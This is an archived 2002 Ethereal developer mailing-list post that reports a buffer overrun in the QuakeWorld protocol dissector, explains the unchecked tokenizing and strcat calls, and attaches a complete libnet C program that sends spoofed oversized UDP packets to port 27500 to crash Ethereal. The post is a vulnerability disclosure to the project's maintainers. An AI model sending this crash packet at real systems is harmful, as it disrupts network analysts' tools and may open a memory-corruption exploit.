Ethereal-dev: [Ethereal-dev] Security bug in packet-quakeworld.c

Note: This archive is from the project's previous web site, ethereal.com. This list is no longer active.

From: Peter Hawkins <peter@xxxxxxxxxxxxxxxxx>
Date: Mon, 10 Jun 2002 00:20:35 +1000
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi...

There is a buffer overrun in packet-quakeworld.c. It is possibly exploitable 
but an exploit looks non-trivial.

The relevant code section is this:

(current CVS, 2002/06/09):
packet-quakeworld.c

line 407:
Cmd_TokenizeString(text);

The string is tokenized into a static buffer of size 1024 (com_token) by 
COM_Parse. 

No adequate bounds checking is performed.

Hence a UDP packet with
Dest Port: 27500
Src Port: 27500
and payload:
0xff, 0xff, 0xff, 0xff, "rcon password "
and then about 1300 'a' s will crash ethereal.

It _may_ be possible to exploit this, since you can get arbitary values as 
results for the Cmd_Argv functions (checked with gdb), which means it is 
possible to pass arbitary input into strcat, which copies into a stack 
buffer. I suspect not though.

Also note that the use of strcat on line 515 is also insecure for the same 
reason, even if the command tokenizing code is fixed.

Sample code crash code attached (uses libnet).

=)
Peter

Back to my regularly scheduled exam study...
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQE9A2Q7XjDfzL4R9DcRAs6IAKC5ylr+jDqxUiaNBZZPkI+4x2AUbACfceKV
MpCEp7vrWw6ZFca/LvGWXfM=
=RD/X
-----END PGP SIGNATURE-----
#define LIBNET_LIL_ENDIAN 1

#include <libnet.h>

int send_packet(struct libnet_link_int *, u_long, u_char *);
void usage(u_char *);

int
main(int argc, char *argv[])
{
    int c, amount;
    char errbuf[256];
    char *device = NULL;
    struct libnet_link_int *l;
    u_long ip;

    amount = 20;
    while ((c = getopt(argc, argv, "n:i:")) != EOF)
    {
        switch (c)
        {
            case 'i':
                device = optarg;
                break;
            case 'n':
                amount = atoi(optarg);
                break;
            default:
                exit(EXIT_FAILURE);
        }
    }

    if (!device)
    {
        usage(argv[0]);
        exit(EXIT_FAILURE);
    }

    if (argc <= optind)
    {
        usage(argv[0]);
        exit(EXIT_FAILURE);
    }
    else if ((ip = libnet_name_resolve(argv[optind], 1)) == -1)
    {
        fprintf(stderr, "Cannot resolve IP address\n");
        exit(EXIT_FAILURE);
    }

    l = libnet_open_link_interface(device, errbuf);
    if (!l)
    {
        fprintf(stderr, "libnet_open_link_interface: %s\n", errbuf);
        exit(EXIT_FAILURE);
    }

    while (amount--)
    {
        c = send_packet(l, ip, device);
        if (c == -1)
        {
            /* bail on the first error */
            break;
        }
    }
    printf("\n");
    return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
}


int
send_packet(struct libnet_link_int *l, u_long ip, u_char *device)
{
    int n, c;
    u_char *buf;
    int network;
    char payload_data[5000] = {0xff, 0xff, 0xff, 0xff, };
    char *cmd_string = "rcon password test";
    int data_size = 1300;

    memset(&payload_data[4], 'a', sizeof(payload_data) - 4);
    memcpy(&payload_data[4], cmd_string, strlen(cmd_string));


    payload_data[data_size-1] = 0;

    if (libnet_init_packet(LIBNET_IP_H + LIBNET_UDP_H + data_size, &buf) == -1)
    {
        perror("libnet_init_packet memory:");
        exit(EXIT_FAILURE);
    }

    network = libnet_open_raw_sock(IPPROTO_RAW); 
    if (network == -1) 
    { 
        libnet_error(LIBNET_ERR_FATAL, "Can't open network.\n"); 
    }

    libnet_build_ip(LIBNET_UDP_H + data_size, /* size of packet without IP header */
	IPTOS_LOWDELAY,			/* IP TOS */
	242,				/* IP ID */
	0,				/* frag stuff */
	48,				/* TTL */
	IPPROTO_UDP,			/* Transport Protocol */
	0x11223344,				/* src_ip */
	ip,				/* dest_ip */
	NULL,				/* payload (none) */
	0,				/* payload length */
	buf);				/* packet header memory */

    libnet_build_udp(27500,	/* Src port */
	27500,			/* Dst port */
	payload_data, data_size,
	buf + LIBNET_IP_H);

    if (libnet_do_checksum(buf, IPPROTO_UDP, LIBNET_UDP_H + data_size) == -1)
    {
	libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n");
    }

    c = libnet_write_ip(network, buf, LIBNET_IP_H + LIBNET_UDP_H + data_size);
    libnet_close_raw_sock(network);
	
	

    fprintf(stderr, ".");

    libnet_destroy_packet(&buf);
    return (n);
}


void
usage(u_char *name)
{
    fprintf(stderr, "%s -i interface [-n amount] ip\n", name);
}

/* EOF */